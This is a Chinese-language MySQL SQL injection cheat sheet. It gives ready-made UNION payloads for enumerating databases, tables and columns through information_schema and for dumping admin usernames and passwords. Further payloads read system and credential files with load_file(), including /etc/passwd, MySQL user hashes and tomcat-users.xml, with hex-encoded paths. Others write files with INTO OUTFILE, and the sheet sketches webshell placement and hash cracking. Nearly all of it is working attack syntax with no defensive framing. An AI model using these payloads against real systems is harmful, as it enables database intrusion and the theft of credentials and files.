一、信息查询 information_schema是MySQL 5.0后产生的虚拟数据库,提供访问数据库元数据的
方式,即数据的数据。比如数据库所有库名或表名,列类型,访问权限。
MYsql 5.X以上版本的注入查询主要基于information_schem
1.UNION 注入 (联合查询注入) ≥ MySQL 5 information_schema (信息数据库),其中保存着关于 MySQL 服务器所维护的所有其它数据库的 信息, 如数据库名、表名、数据类型、访问权限等。
显示数据库信息字段数查找
id=1/**/Order/**/By/**/10/**/-- 正常则字段数>10 id=1/**/Order/**/By/**/12/**/-- 错误则字段数<12
枚举数据库名
And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 (注意字段数)
从 0 个库开始,显示数到第 1 个库
当前数据库名 and 1=2 union select 1,database()--
查表名
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7068707a72--
table_schema=后面是库名的 16 进制(上面爆出的库名转换16进制)
查字段名
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 limit 1,1--
0x61646d696e 表名 admin
0x7068707a72 库名 phpzr(上面爆出的库名,表名)
查字段内容
and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin--
从 admin 表中查询字段名为 id、username、password 值的记录(username,password都是上一步爆出的字段名)
admin是上面爆出的表名
0x3c62723e 表示
、、、、、、、、、、、、、、、、、、、、、、、、、、、
一.查看 MYSQL 基本信息(库名,版本,用户)
and 1=2 union select 1,database(),version(),user()--
关于找不到 ROOT 密码的爆破: 通过 LOAD_FILE(’C:\..\MYSQL\DATA\MYSQL\USER.MYD’)得到用户的 HASH 散列,之后用 CAIN 爆 破….
current_user() 当前用户名
version() MySQL 数据库版本
system_user() 系统用户名
user() 用户名
session_user() 连接数据库的用户名
database() 数据库名
load_file() MySQL 读文件(需 root 权限)
@@datadir MySQL 库文件路径
@@version_compile_os 操作系统
Substring()函数 substring()是字符串读取(可解决字段长度限制导致信息显示不全) id=1/**/And/**/1=2/**/Union/**/Select/**/1,Substring(Load_file(0x633a2f626f6f742e696e69),1)/* */
Replace()函数 Replace()是字符串替换函数,替换指定的字符串内容,返回替换后全部数据。有时通过 load_file() 读文件内容无法正常显示,例如用 Replace()替换掉其中编码为 hex 的“<”及“空格”。 id=1/**/And/**/1=2/**/Union/**/Select/**/1,replace(load_file(0x2f6574632f706173737764),0x3c,0 x20)/**/
写入 webshell 一:无法获得 web 目录 ① 用 uploadpic.php 中 getimagesize()函数的小 bug,先在后台添加上传类型 text/asa,然后到前台传 图片的地方传个 asa 文件,这个函数无法读取起大小,暴出错误时泄露了绝对路径
二、入侵数据库操作系统 读写文件 前置条件
1:读文件 load_file()函数要数据库 root 账户权限.
2:写文件 magic_quotes_gpc 必须为 off.
数据库账户权限判断 And Ord(Mid(User(),1,1))=114
正常是 root
① 读文件 Hex (Recommend) http://127.0.0.1/web_vunerability/mysql.php?id=1/**/And/**/1=2/**/Union/**/Select/**/1,Replac e(Load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66),0x3c,0x20)/**/
/etc/httpd/conf/httpd.conf //Red Hat 0x2f6574632f68747470642f636f6e662f68747470642e636f6e66
c:\windows\system32\inetsrv\MetaBase.xml //NT 5.2 0x633a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c
c:\Program Files\Tomcat\conf\tomcat-users.xml //Tomcat For Windows 0x433a5c50726f6772616d2046696c65735c546f6d6361745c636f6e665c746f6d6361742d7573657273 2e786d6c
Char And/**/1=2/**/Union/**/Select/**/1,Load_file(char(99,58,92,98,111,111,116,46,105,110,105))/**/
无编码 And/**/1=2/**/Union/**/Select/**/1,load_file('c:/boot.ini')/**/
② 写文件 and 1=2 union all select 'fuck',2 into outfile 'd:/fuck2.txt'#